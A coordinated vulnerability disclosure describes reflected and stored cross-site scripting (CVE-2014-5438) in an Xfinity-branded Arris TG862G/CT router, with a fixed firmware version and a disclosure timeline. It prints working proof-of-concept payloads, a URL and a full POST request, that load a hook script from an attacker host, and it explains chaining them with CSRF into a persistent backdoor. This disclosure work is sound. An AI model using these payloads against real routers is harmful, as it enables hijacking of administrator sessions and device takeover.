----------- Vendor: ----------- Arris Interactive, LLC (http://www.arrisi.com/) ISP: Comcast Xfinity ----------------------------------------- Affected Products/Versions: ----------------------------------------- HW: Arris Touchstone TG862G/CT (Xfinity branded) SW: Version 7.6.59S.CT (Tested) ----------------- Description: ----------------- Title: Cross-site Scripting (XSS) CVE: CVE-2014-5438 CWE: CWE-79: http://cwe.mitre.org/data/definitions/79.html Researcher: Seth Art - @sethsec ------------------------------------------------------------- POC - Reflected, post authentication XSS: ------------------------------------------------------------- http://10.0.0.1/connected_devices_computers_edit.php?&computer_name=%3Cscript%20src=%27http://10.0.0.101:3000/hook.js%27%3E%3C/script%3E --------------------------------------------------------- POC - Stored, post authentication XSS: --------------------------------------------------------- POST /managed_sites_add_keyword.php HTTP/1.1 Host: 10.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.0.0.101/managed_sites_add_keyword.php?&index=0 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 104 keyword=%22%3E%3Cscript+src%3D%27http%3A%2F%2F10.0.0.101%3A3000%2Fhook.js%27%3C%2Fscript%3E&block=yes Notes on stored XSS: You could argue that stored XSS on an router admin application that is only used by one person is not that big of a deal, mainly because the attacker would need authenticated access to "plant" the malicious payload. Unfortunately, because the tested version was also vulnerable to CSRF and reflected XSS, the risk is much greater. An admin who fell victim to a CSRF or reflected XSS attack once could be forced into planting a JavaScript backdoor, that would call back to the attacker every time the victim admin visits the page with the malicious stored XSS payload. ------------- Solution: ------------- I tested my Comcast Xfinity device on December 10th, 2014 and it is no longer vulnerable (version 7.6.86L.CT). If you have an Arris modem/router, contact your ISP (or Arris) to verify that your firmware has been updated to address this vulnerability... or you could fire up Burp and see for yourself ;) ----------------------------- Disclosure Timeline: ----------------------------- 2014-07-16: Notified Arris of vulnerabilities in TG862G/CT product 2014-07-16: Arris responded and escalated issue to Tier 2 2014-07-17: Arris requested vulnerability details 2014-07-17: Vulnerability report sent to Arris Tier 2 2014-07-18: Arris confirmed receipt and began investigation 2014-08-04: Requested update from Arris 2014-08-05: Arris confirms issue has been escalated to engineering team 2014-08-06: Attended call with Arris to walk through findings 2014-09-18: Notified Arris that CVE-2014-5438 will be used to identify this vulnerability 2014-09-25: December 6th suggested as the disclosure date 2014-10-13: Arris requested disclosure date of December 15th 2014-12-15: Public disclosure